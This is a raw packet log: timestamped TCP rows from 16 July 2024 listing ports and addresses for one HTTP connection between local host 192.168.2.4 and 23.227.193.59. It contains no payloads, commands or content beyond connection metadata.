Jul 16, 2024 22:29:51.649435997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649446011 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649468899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649502039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649513960 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649535894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649568081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649580956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649619102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649652004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649663925 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649684906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649717093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649727106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649749994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649800062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649800062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649832964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649866104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649884939 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649899960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649933100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.649947882 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.649986029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650021076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650038004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650053024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650087118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650094032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650115967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650165081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650165081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650198936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650232077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650243044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650266886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650299072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650312901 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650348902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650382042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650397062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650415897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650448084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650480032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650482893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650516987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650526047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650549889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650583029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650603056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650620937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650654078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650671005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650687933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650727987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650738955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650762081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650794983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650808096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.650827885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650861025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.650871992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.697263956 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729099035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729243040 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729279995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729314089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729319096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729347944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729367018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729382992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729418993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729429960 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729505062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729552031 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729557037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729615927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729667902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729671955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729700089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729732990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729748964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.729767084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.729820967 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730097055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730149031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730184078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730200052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730278969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730310917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730331898 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730364084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730410099 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730412960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730452061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730482101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730505943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730515957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730556011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730560064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730607986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730643034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730658054 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730675936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730709076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730724096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730741024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730777025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730792046 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730807066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730842113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730856895 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730875015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730909109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730925083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.730942011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.730977058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731009007 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.731012106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731069088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.731156111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731189013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731221914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731244087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.731255054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731290102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731304884 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.731323004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731359959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731379032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.731389046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731451035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.731939077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.731990099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732023001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732103109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.732151985 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732184887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732217073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732239962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.732250929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732284069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732312918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732347965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732378960 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.732382059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732448101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732489109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.732500076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732533932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732557058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.732568979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732600927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732747078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732819080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732852936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.732971907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733005047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733037949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733071089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733102083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733194113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733230114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733258963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733293056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733326912 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733361959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733393908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733462095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733495951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733582973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733612061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733644962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733680010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733730078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733762980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733797073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733831882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733865976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.733901978 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734031916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734064102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734102011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734136105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734186888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734217882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734251976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734287024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734318972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734352112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734385014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.734997988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735027075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735060930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735114098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735146046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735178947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735212088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735268116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735301018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735333920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735366106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735415936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735446930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735481977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735594988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735624075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735654116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735687971 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735721111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735754967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735788107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735821962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.735852957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.745450974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.745778084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.746114969 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818121910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818198919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818237066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818258047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818291903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818326950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818340063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818361998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818409920 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818413973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818447113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818487883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818501949 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818519115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818552017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818562984 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818587065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818619967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818633080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818654060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818691015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818701029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818845034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818892002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.818900108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818934917 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.818979979 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819016933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819048882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819083929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819093943 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819118023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819165945 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819174051 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819205046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819252014 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819255114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819288969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819323063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819334030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819359064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819406986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819430113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819539070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819575071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819591045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819610119 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819643974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819655895 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819677114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819724083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819730043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819763899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819799900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819812059 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819828987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819864035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819869995 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819899082 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819932938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.819948912 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.819968939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820017099 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.820077896 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820111990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820147038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820158958 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.820614100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820663929 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.820732117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820761919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820810080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.820815086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820849895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820885897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820897102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.820924044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820959091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.820972919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821084976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821135044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821151018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821183920 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821219921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821232080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821291924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821326017 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821341038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821377039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821412086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821425915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821445942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821475983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821495056 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821571112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821604013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821619987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821639061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821675062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821686983 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821795940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.821846008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.821887970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822005033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822056055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822084904 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822091103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822124004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822139978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822156906 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822191954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822206020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822226048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822273016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.822308064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.822343111 CEST	80	49730	23.227.193.59	192.168.2.4
